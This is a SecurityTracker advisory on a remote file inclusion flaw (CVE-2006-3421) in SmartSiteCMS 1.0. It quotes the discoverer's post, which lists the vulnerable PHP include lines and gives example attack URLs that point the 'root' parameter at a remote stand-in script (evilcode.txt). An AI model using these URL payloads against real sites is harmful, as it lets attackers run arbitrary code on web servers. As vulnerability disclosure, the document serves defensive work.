SmartSiteCMS 'root' Parameter Include File Bug Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1016411 |
|
SecurityTracker URL: http://securitytracker.com/id/1016411
|
|
CVE Reference:
CVE-2006-3421
(Links to External Site)
|
Updated: Aug 12 2008
|
Original Entry Date: Jun 29 2006
|
Impact:
Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 1.0
|
Description:
A vulnerability was reported in SmartSiteCMS. A remote user can include and execute arbitrary code on the target system.
Several scripts do not properly validate user-supplied input in the 'root' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.
The 'comment.php', '/admin/comedit.php', '/admin/test.php', '/admin/index.php', and '/admin/include/inc_adminfoot.php' scripts are affected.
CrAsh_oVeR_rIdE of Arabian Security Team discovered this vulnerability.
|
Impact:
A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.smartsitecms.net/ (Links to External Site)
|
Cause:
Input validation error, State error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: 27 Jun 2006 23:00:17 -0000
Subject: smartsite cms v1.0 Remote File include
|
smartsite cms v1.0 Remote File include
-------------------------------------------------
Discovered By CrAsh_oVeR_rIdE
Arabian Security Team
-------------------------------------------------
site of script:www.smartsitecms.net
-------------------------------------------------
Vulnerable: smartsite cms v1.0
-------------------------------------------------
vulnerable code:
----------------------
1-in comment.php :
require($root . "include/inc_foot.php");
---------------------------------------
2-in /admin/comedit.php :
else
{
require('../include/inc_accessfail.php');
}
?>
</div>
</div>
<?php
}
else {
require($root . "include/inc_adminfail.php");
}
---------------------------------------
3-in /admin/test.php :
require($root . "include/inc_adminfooter.php");
---------------------------------------
4-in /admin/index.php :
require($root . "admin/include/inc_adminfooter.php");
---------------------------------------
5-in /admin/include/inc_adminfoot.php:
require($root . "include/inc_footer.php");
---------------------------------------
$root parameter File include
-----------------------------------------------------------------------------------------------------------------------------------------
vulnerable files :
--------------------
comment.php
/admin/test.php
/admin/index.php
/admin/include/inc_adminfoot.php
/admin/comedit.php
-------------------------------------------------
example:
www.example.com/(path)/comment.php?root=http://evilcode.txt?
www.example.com/(path)/admin/test.php?root=http://evilcode.txt?
www.example.com/(path)/admin/index.php?root=http://evilcode.txt??root=http://evilcode.txt?
www.example.com/(path)/admin/include/inc_adminfoot.php?root=http://evilcode.txt?
www.example.com/(path)/admin/comedit.php?root=http://evilcode.txt?
--------------------------------------------------
Discovered By CrAsh_oVeR_rIdE
E-mail:KARKOR23@hotmail.com
Site:www.lezr.com
Greetz:KING-HACKER,YOUNG
HACKER,SIMO64,ROOT-HACKED,SAUDI,QPTAN,POWERWALL,SNIPER_SA,Black-Code,ALMOKAN3 AND ALL LEZR.COM Member
|
|
